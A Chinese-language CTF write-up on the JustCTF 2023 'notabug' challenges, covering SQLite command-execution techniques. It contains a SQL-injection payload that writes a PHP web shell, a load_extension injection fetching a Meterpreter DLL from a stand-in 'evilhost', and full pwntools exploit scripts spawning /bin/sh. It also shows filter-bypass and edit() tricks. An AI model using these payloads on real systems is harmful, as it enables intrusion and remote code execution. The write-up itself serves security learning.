TL; DR
周末简单看了下 JustCTF 2023 的题目, 主要是三个题目吸引了我的注意, 分别是 notabug 、notabug2 和Windytooth。 其中前面两个是和 sqlite3 相关的题目。再次学到了一点利用方式。
Known Attacks on SQLite 在BlackHat 2017 长亭科技的 slide 中提到两种众所周知的方法: [1]
Attach Database 1 2 3 ?id=bob'; ATTACH DATABASE '/var/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET['cmd']); ?>';--
通过写 ATTACH DATABASE
写文件, 然后执行 php 代码
SELECT load_extension 1 2 ?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
在能上传文件的情况在, 且加载扩展的功能必须打开 [2] 。在 JustCTF 的 notabug 中也用到这个技巧
title: "exploit for notabug (JustCTF 2023)" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context.log_level='debug' context.arch='amd64' import binasciip = remote("0.0.0.0" ,13337 ) ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) sla(b"> " ,b"CREATE TABLE images(name TEXT, type TEXT, img BLOB);" ) with open ("./exp.so" ,'rb' ) as f: dt = f.read() sla(b"> " ,b"INSERT INTO images(name,type,img)" ) dt = binascii.hexlify(dt) print (dt.decode())sla(b"> " ,f"VALUES('icon','jpeg',cast(x'{dt.decode()} ' as text));" ) sla(b"> " ,b"SELECT writefile('./exp.so',img) FROM images WHERE name='icon';" ) sla(b"> " ,b"select Load_extension('./exp','exp');" ) p.interactive()
learned from JustCTF 那么如果我们不能上传文件的时候如何利用 load_extension
,方法来做命令执行呢?
load libc.so 我们可以通过 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');
来执行任意的 glibc 方法,例如这里的思路是
通过 puts 、gets 为预测堆地址,并写入我们的结构,然后爆破堆地址让他在执行 system 的时候,确保是执行我们想要的命令。 exploit 来自 @n132
title:"exploit for notabug2(JustCTF 2023)" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *p = remote('notabug2.nc.jctf.pro' , 1337 ) ru = lambda a: p.readuntil(a) r = lambda n: p.read(n) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) s = lambda a: p.send(a) sla(b"lite>" ,b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');" ) ru(": \n" ) lic = u64(p.recvn(6 ).ljust(8 ,b'\x00' )) warning(hex (lic)) pie_base = lic - 0x1589a0 heap = 0x00005555556b0000 -0x0000555555554000 +pie_base system_plt = pie_base + 0x10910 if pie_base > 0x600000000000 : p.close() warning(hex (pie_base)) sla(b"lite>" ,b"select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','gets');" ) p.sendline(p64(heap+0x11eb0 )+b'a' *0x8 +p64(pie_base+0x000000000009e0ad )) dt = b"/bin/sh\0" +flat([0 ]*8 )+ flat([0 ]*8 )+ p64(system_plt) sla(b"lite> " ,f"select cast(x'{dt.hex ()} ' as text), " .encode()+b"Load_extension('" +p64(system_plt)[:6 ]+b"','/bin/sh');" ) p.sendline(b"echo n132" ) data = p.read(timeout=1 ) if b'n132' in data: p.sendline("/jailed/readflag" ) input () p.interactive() else : p.close()
.system execute command 在 Command Line Shell For SQLite
界面中, sqlite 是内置了一些方法的 [3] ,其中就包括了 .system
1 .system CMD ARGS… Run CMD ARGS… in a system shell
这是可以直接执行命令的,但是在 JustCTF 中, 程序做了限制
1 2 3 4 $ cat run-sqlite.sh #!/bin/bash sed -ue '/^\./ { /^\.open/!d; }' | /jailed/sqlite3 -interactive
这个正则的解释就是:
这个sed脚本的作用是从输入中筛选出特定的行。它使用正则表达式进行匹配。解释一下脚本的含义:
/^./:匹配以.开头的行。 { /^.open/!d; }:对于匹配到的以.开头的行,如果行不以.open开头,则删除(d)该行。 因此,这个sed命令的作用是删除以.开头但不以.open开头的行。
因此通常而言我们是不能直接执行 .system
命令的,但是如果和 select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','getchar');
配合就可以了, 这是 @crazyman 赛后发现的。 大概是正则多行匹配的问题了
1 2 3 4 select load_extension('/lib/x86_64-linux-gnu/libc-2.31', 'getchar'); .system /jailed/readflag Runtime error: error during initialization: justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}
sqlite3 edit function execute command 在 sqlite 还有一个名叫 Edit()
的函数 [4] , 该 Edit()
接受一个或两个参数。第一个参数是一个值——通常是一个要编辑的大的多行字符串。第二个参数是对文本编辑器的调用。仔细阅读代码,该方法其实也是可以执行任意命令的
1 2 sqlite3_create_function(p->db, "edit" , 2 , SQLITE_UTF8, 0 , editFunc, 0 , 0 );
最后调用到 editFunc
中
1 2 3 4 5 6 7 zCmd = sqlite3_mprintf("%s \"%s\"" , zEditor, zTempFile); if ( zCmd==0 ){ sqlite3_result_error_nomem(context); goto edit_func_end; } rc = system(zCmd); sqlite3_free(zCmd);
这是在 discord 看到另外一个队的PoC:
1 2 3 4 5 6 sqlite> .open :memory: sqlite> CREATE TABLE t(a INT, b VARCHAR(200)); sqlite> insert into t values (0, ''); sqlite> update t set b=edit('','/jailed/readflag') where a=0; justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}
Reference link 1 Many-Birds-One-Stone 2 load_extension 3 SQLite3命令行窗口常用命令 4 The edit() SQL function